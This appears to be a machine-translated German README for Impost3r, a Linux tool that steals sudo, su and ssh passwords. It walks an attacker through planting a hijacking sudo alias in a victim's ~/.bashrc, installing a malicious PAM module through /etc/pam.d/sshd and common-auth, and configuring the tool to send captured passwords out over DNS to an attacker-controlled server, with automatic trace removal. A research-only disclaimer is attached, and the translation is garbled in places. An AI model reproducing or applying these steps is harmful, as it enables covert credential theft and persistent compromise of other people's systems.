Englisch
Impost3r ist ein in der Sprache C geschriebenes Tool, mit dem unter Linux verschiedene Passwörter (ssh, su, sudo) gestohlen werden können.
Benutzer können dieses Programm verwenden, um eine Wasserstelle zu schaffen, um die Passwörter legitimer Benutzer zu stehlen
Dieses Tool dient ausschließlich der Sicherheitsforschung und -lehre und der Benutzer übernimmt alle rechtlichen und damit verbundenen Verantwortlichkeiten, die sich aus der Verwendung dieses Tools ergeben! Der Autor übernimmt keinerlei rechtliche und damit verbundene Verantwortung!
Verhaltensspuren automatisch löschen
Ergebnisse per DNS-Protokoll übertragen
Benutzer gleichgültig
gcc
Impost3r kann zum Diebstahl von Passwörtern verwendet werden, einschließlich der Dienste sudo, su und ssh. Diese drei Dienste können grob in zwei Kategorien unterteilt werden: sudo und ssh/su. Wir werden sie im Folgenden in zwei Fällen besprechen.
Es erfordert nur normale Benutzerberechtigungen. Es ist jedoch kein Root erforderlich. Es kann jedoch nur das Kennwort des entsprechenden Benutzers stehlen.
Nehmen Sie zunächst an, dass der Angreifer einen Server mit normalen Benutzerrechten kontrolliert.
Überprüfen Sie, ob die .bash_profile
.bash_profile
im Stammverzeichnis des Benutzers vorhanden ist: Überprüfen Sie, ob .bashrc
aktiv in die Datei .bash_profile
geladen ist. Überspringen Sie diesen Schritt und die nächsten beiden Überprüfungen und fahren Sie mit dem nächsten fort Operationen. Wenn es nicht aktiv geladen wird, werden die nächsten beiden Schritte der Überprüfung übersprungen und alle Operationen für .bashrc
im Folgenden ersetzt .bash_profile
Wenn .bash_profile
nicht vorhanden ist: Fahren Sie mit dem fort nächster Schritt der Überprüfung.
Überprüfen Sie, ob die .bash_login
.bash_login
im Stammverzeichnis des Benutzers vorhanden ist. Überprüfen Sie, ob .bashrc
aktiv in die Datei .bash_login
geladen ist. Überspringen Sie diesen Schritt und die nächste Prüfung und fahren Sie mit den folgenden Vorgängen fort . Wenn nicht, überspringen Sie diesen und den nächsten Schritt. Überspringen Sie dann die nächste Prüfung. Anschließend werden alle Vorgänge für .bashrc
durch Vorgänge für .bash_login
.bash_login
die nächste Kontrolle.
Überprüfen Sie, ob eine .profile
.profile
im Stammverzeichnis des Benutzers vorhanden ist: Überprüfen Sie, ob .bashrc
aktiv in die .profile
Datei geladen ist (standardmäßig geladen), überspringen Sie diesen Schritt und fahren Sie mit fort die nachfolgenden Operationen, wenn es nicht aktiv geladen wird, dann werden alle Operationen für .bashrc
im Folgenden durch Operationen für .profile
ersetzt !!! ;Wenn .profile
nicht vorhanden ist, kann Impost3r grundsätzlich nicht verwendet werden. Natürlich können Sie je nach Situation auch entscheiden, ob Sie eine .bash_profile
oder .profile
Datei generieren und einen Ladecode schreiben möchten Folgen Sie ihm, um .bashrc
zu laden
if [ -n "$BASH_VERSION" ]; then # include .bashrc if it exists if [ -f "$HOME/.bashrc" ]; then . "$HOME/.bashrc" fi fi
Kopieren Sie eine Kopie der .bashrc
des Benutzers: cp ~/.bashrc /tmp/
und platzieren Sie diese Kopie im benutzerdefinierten Pfad des Angreifers (in diesem Beispiel wird sie im Verzeichnis /tmp/ abgelegt, und der Angreifer kann sie ändern).
Ändern Sie .bashrc
(~/.bashrc) im Stammverzeichnis des Benutzers und fügen Sie in der letzten Zeile die folgende Anweisung hinzu (wobei „/tmp/.impost3r“ mit dem folgenden DATEINAMEN übereinstimmen muss):
alias sudo='impost3r() { if [ -f "/tmp/.impost3r" ]; then /tmp/.impost3r "$@" && unalias sudo else unalias sudo;sudo "$@" fi }; impost3r'
Nachdem das Hinzufügen abgeschlossen ist, speichern Sie die Datei und führen Sie source ~/.bashrc
aus
Dann muss der Angreifer den Impost3r-Quellcode /sudo/main.h
ändern:
/* Custom setting */ # define FILENAME "/tmp/.impost3r" 设置Impost3r在目标服务器上的位置 # define BACKUP_ORI_FILENAME ".bashrc" 表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login # define BACKUP_ORI_PATH "/tmp/.bashrc" 表明攻击者所备份的源用户配置文件在目标服务器上的位置 # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数 # define RESEND_INTERVAL 5 设置每一次发送密码的间隔 # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.cache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
Nachdem die Änderung abgeschlossen ist, speichern Sie make
im aktuellen Verzeichnis und führen Sie es aus
Holen Sie sich die kompilierte .impost3r
Datei im aktuellen Verzeichnis
Laden Sie die Datei .impost3r
in den Ordner /tmp/
des Zielservers hoch (versuchen Sie, sie auf dem Zielserver zu kompilieren, um unerwartete Fehler zu vermeiden) (nur ein Beispiel, Sie können sie selbst ändern, solange sie mit der Definition in der Datei übereinstimmt Quellcode)
Der Angreifer startet das DNS-Serverprogramm auf seinem eigenen Server und wartet darauf, dass der legitime Benutzer mit sudo
das Passwort erhält.
Im Falle des Diebstahls des Sudo-Passworts löscht Impost3r die Spuren nach Erfolg automatisch, und der Angreifer muss nicht nach oben gehen und es manuell bereinigen.
Impost3r ermittelt automatisch, ob das vom Benutzer eingegebene Passwort das richtige ist. Der Vorgang wird erst dann beendet, wenn der Benutzer das richtige Passwort eingibt, und die Spuren werden gelöscht.
Bitte verwenden Sie sudo -v
um festzustellen, ob der aktuelle Benutzer in sudoer
-Gruppe ist, bevor Sie Impost3r verwenden. Wenn nicht, verwenden Sie Impost3r nicht.
Das Stehlen von SSH/SU-Passwörtern unterscheidet sich von der oben beschriebenen Methode zum Stehlen und Ausnutzen von Sudo-Passwörtern. Es erfordert Root-Rechte und kann jedes Benutzerpasswort stehlen.
Im Folgenden wird Ubuntu als Beispiel verwendet. Die verwendeten Dateien und die Art und Weise, wie sie geändert werden, können unterschiedlich sein.
Nehmen wir zunächst an, dass der Angreifer einen Server kontrolliert
Root-Berechtigungen durch eine Privilegieneskalationsoperation erhalten (oder der nette Administrator hat den Dienst mit Root-Berechtigungen gestartet)
Bearbeiten Sie zunächst die Quellcodedatei /ssh_su/main.h
von Impost3r
/* Custom setting */ # define SSH_OR_BOTH 0 设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别) # define SAVE_OR_SEND 0 设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送) /* Send to server */ # define YOUR_DOMAIN ".com" 注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值; 但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口) # define MAX_RESEND 30 设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效) # define RESEND_INTERVAL 5 设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效) # define REMOTE_ADDRESS "192.168.0.12" 设置回送密码的远程地址 # define REMOTE_PORT 53 设置回送密码的远程端口 /* Save to local */ # define SAVE_LOCATION "/tmp/.sshsucache" 设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
Nachdem die Änderung abgeschlossen ist, speichern Sie make
im aktuellen Verzeichnis und führen Sie es aus
Holen Sie sich die kompilierte Datei impost3r.so
Laden Sie die kompilierte impost3r.so
hoch (versuchen Sie, sie auf dem Zielserver zu kompilieren, um unerwartete Fehler zu vermeiden) nach /lib/x86_64-linux-gnu/security
des Zielcomputers (verschiedene Computer können unterschiedliche Ordnernamen haben, platzieren Sie sie bitte entsprechend Situation) )
Geben Sie /etc/pam.d
ein. Derzeit gibt es zwei Situationen. Wenn der ausgewählte Modus nur das SSH-Passwort stehlen soll, müssen Sie vi sshd
ausführen und die folgende Anweisung am Ende der Datei hinzufügen (dies sollte der Fall sein). Beachten Sie hier, dass mit Ausnahme von Ubuntu andere auf dieser Datei basierende Linux-Systeme möglicherweise erheblich von Ubuntu abweichen. Es wird empfohlen, die Regeln selbst zu lesen und sie dann an der entsprechenden Stelle hinzuzufügen.
auth optional impost3r.so account optional impost3r.so
Speichern und beenden Sie den SSHD- service sshd restart
Wenn Sie sich dafür entscheiden, die SSH- und SU-Passwörter zusammen zu stehlen, müssen Sie vi common-auth
ausführen, dieselbe Anweisung hinzufügen, speichern und beenden und auch den SSHD-Dienst neu starten.
Der Angreifer startet das DNS-Serverprogramm auf seinem eigenen Server und wartet darauf, dass sich der legitime Benutzer über ssh
beim Zielcomputer anmeldet oder mit su
den Benutzer wechselt, um das Kennwort zu erhalten.
Im Falle des Diebstahls des SSH/SU-Passworts kann Impost3r die Spuren aus Berechtigungsgründen nicht löschen und der Angreifer muss sie selbst löschen.
Bitte beachten Sie, dass, wenn nur das SSH-Passwort auf „Stehlen“ eingestellt ist, grundsätzlich garantiert ist, dass der Angreifer das Ergebnis des Diebstahls zu 100 % erhält, wenn jedoch beide gleichzeitig auf „Stehlen“ eingestellt sind, ist nicht unbedingt gewährleistet, dass das Der Angreifer erhält das Ergebnis des Diebstahls (nur wenn beim Senden für DNS festgelegt, wird die Einstellung zum lokalen Speichern nicht beeinträchtigt)
Es wird nicht empfohlen, das su-Passwort zu stehlen. Da das SSH-Passwort des Benutzers mit dem su-Passwort identisch ist, reicht es aus, das su-Passwort nicht zu stehlen.
Leere Passwörter werden standardmäßig nicht gestohlen. Bitte prüfen Sie, ob der Benutzer ein leeres Passwort hat (überprüfen Sie, ob PermitEmptyPasswords yes
in der SSHD-Konfigurationsdatei vorhanden ist. Wenn es leer ist, handelt es sich immer noch um einen Geist.)
Ich habe Fdns für das DNS-Serverprogramm verwendet und einige Parameter geändert. Sie finden den geänderten Quellcode im Ordner Fdns. Bitte verwenden Sie den Befehl gcc -o dns main.c util.c
um ihn selbst zu kompilieren (beachten Sie, dass Sie ihn ändern müssen). erster Listening-Port in main.c)
Überprüfen Sie vor dem Kompilieren von Fdns bitte den Wert YOUR_DOMAIN
in util.h
, um sicherzustellen, dass dieser Wert mit dem Wert YOUR_DOMAIN
übereinstimmt, der beim Kompilieren des auf dem Server implantierten Impost3r-Programms verwendet wurde. Andernfalls kann der Diebstahl fehlschlagen.
Dieses Programm wird nur in Ihrer Freizeit entwickelt und untersucht. Es können Fehler in seinen Funktionen auftreten. Bitte verzeihen Sie mir und freuen Sie sich über Feedback.
F
libbaseencode